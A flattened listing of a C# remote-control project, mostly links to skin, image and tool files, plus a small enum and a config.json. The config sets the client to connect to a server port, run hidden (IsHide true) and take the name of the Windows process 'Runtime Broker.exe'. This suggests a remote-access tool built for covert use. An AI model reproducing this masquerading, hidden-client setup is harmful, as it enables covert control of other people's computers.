https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlack.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlue.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlue.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/SportsCyan.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsCyan.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/SportsGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/SportsOrange.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsOrange.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/sportsblack.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblack.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/sportsblue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblue.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/sportscyan.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportscyan.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/sportsgreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsgreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/sportsorange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsorange.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlack.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlack.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlue.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlue.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Steel/steelblack.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/steelblack.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Steel/steelblue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/steelblue.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color3.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color3.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color4.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color4.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color5.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color5.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color6.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color6.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color7.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color7.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color3.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color4.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color4.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color5.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color5.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color6.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color6.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color7.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color7.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/Warm.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/Warm.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor3.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor3.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/warm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/warm_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/warm_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Warm/warm_color3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color3.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/Wave.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/Wave.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/wave.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/wave_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Wave/wave_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/XPBlue.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPBlue.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/XPGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/XPOrange.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPOrange.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/XPSilver.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPSilver.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/xpblue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpblue.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/xpgreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpgreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/xporange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xporange.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/WinXP/xpsilver.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpsilver.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Tools/EnigmaVirtualBox_7.3.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/EnigmaVirtualBox_7.3.exe -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Tools/Interop.ThunderAgentLib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/Interop.ThunderAgentLib.dll -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Tools/MusicHunter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/MusicHunter.exe -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Tools/Newtonsoft.Json.Net35.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/Newtonsoft.Json.Net35.dll -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Tools/图标转换.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/图标转换.exe -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/config.json: -------------------------------------------------------------------------------- 1 | {"ClientPara":{"ServerIP":"192.168.1.136","ServerPort":10010,"ServiceName":"Runtime Broker.exe","OnlineAvatar":"16238_100.png","IsHide":true,"ClientIconPath":null},"ServerPort":10010,"SkinPath":"F:\\Projects\\我的项目\\RemoteControl\\RemoteControl.Server\\bin\\Debug\\Skins\\Diamond\\DiamondBlue.ssk"} -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/log4net.dll -------------------------------------------------------------------------------- /RemoteControl.Server/control.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/control.png -------------------------------------------------------------------------------- /RemoteControl.Server/ePathType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Server 7 | { 8 | internal enum ePathType 9 | { 10 | APP, 11 | APP_DIR, 12 | SKINS_DIR, 13 | AVATAR_DIR, 14 | TOOL_DIR 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /RemoteControl.userprefs: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /Resources/back.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/back.png -------------------------------------------------------------------------------- /Resources/category.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/category.png -------------------------------------------------------------------------------- /Resources/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/copy.png -------------------------------------------------------------------------------- /Resources/cut.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/cut.png -------------------------------------------------------------------------------- /Resources/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/delete.png -------------------------------------------------------------------------------- /Resources/disk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/disk.png -------------------------------------------------------------------------------- /Resources/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/download.png -------------------------------------------------------------------------------- /Resources/dvd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/dvd.png -------------------------------------------------------------------------------- /Resources/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/folder.png -------------------------------------------------------------------------------- /Resources/newTXT.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/newTXT.png -------------------------------------------------------------------------------- /Resources/newfolder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/newfolder.png -------------------------------------------------------------------------------- /Resources/paste.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/paste.png -------------------------------------------------------------------------------- /Resources/qq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/qq.png -------------------------------------------------------------------------------- /Resources/setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/setting.png -------------------------------------------------------------------------------- /Resources/upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/upload.png -------------------------------------------------------------------------------- /copy.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/copy.bat --------------------------------------------------------------------------------